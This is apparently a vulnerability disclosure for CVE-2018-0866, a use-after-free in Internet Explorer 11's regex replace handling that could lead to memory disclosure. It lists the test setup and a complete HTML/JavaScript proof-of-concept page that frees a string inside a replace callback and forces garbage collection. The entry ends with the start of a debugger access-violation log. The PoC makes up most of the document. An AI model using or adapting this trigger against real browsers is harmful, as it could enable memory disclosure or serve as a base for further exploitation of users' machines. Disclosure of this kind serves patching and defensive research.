IE11: Use-after-free in Js::RegexHelper::RegexReplace 

CVE-2018-0866


There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing).

PoC:

=========================================

<!-- saved from url=(0014)about:internet -->
<script>
var vars = new Array(2);
function main() {
vars[0] = Array(1000000).join(String.fromCharCode(0x41));
vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length);
String.prototype.replace.call(vars[1], RegExp(), f);
}
function f(arg1, arg2, arg3) {
alert(arg3);
vars[0] = 1;
CollectGarbage();
return 'a';
}
main();
</script>

=========================================

Debug log:

=========================================

(be0.c40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
